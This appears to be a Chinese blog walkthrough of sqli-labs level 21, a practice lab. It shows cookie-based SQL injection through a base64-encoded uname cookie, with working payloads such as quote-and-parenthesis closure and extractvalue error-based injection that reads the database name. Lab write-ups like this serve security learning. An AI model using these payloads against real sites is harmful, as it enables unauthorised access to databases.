sqllab第二十一关通关笔记

知识点:

  • 错误注入
    • 最大长度为32
    • 超过需要利用截取函数分段读取
  • cookie注入
  • base64加密会保留符号的原始属性

通过admin admin进行登录发现和第二十关显示的内容一样,猜测应该还是cookie注入;

直接截取带有cookie的数据包,发现uname参数的值被加密了,%3d是等号,这应该是一个base64加密

通过在线解码平台对数据进行解密发现是admin,这就对上了,确实是一个base64加密

有了第二十关的经验,这里直接使用单引号闭合看能不能绕过

构造payload:1'+or+1=1#

base64加密:MScrb3IrMT0xIw==(可以再次进行url编码,=变为%3d;不编码也行)

发现出现了错误,提示信息中出现了‘)’;说明这应该是一个where uname=('输入')

根据得到的信息,重新构造payload:1')+or+1=1#

base64编码:MScpK29yKzE9MSM=

发现还是报错,这就怪了

感觉是没问题的,是不是+号的问题呢???尝试换成空格

构造payload:1') or 1=1 #

base64编码:MScpIG9yIDE9MSAj

成功得到了正确的回显界面,base64加密会保留符号的原始属性

好了,下面可以进行错误注入了

构造payload:1') or exp(710)#

base64加密:MScpIG9yIGV4cCg3MTApIw==

成功执行了exp()函数,这里可以进行错误注入

下面通过错误注入读取数据库名

构造payload:1') or extractvalue(1,concat(0x7e,database(),0x7e))#

base64编码:MScpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==

成功获取了数据库名,获取其他敏感信息原理相同

10

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值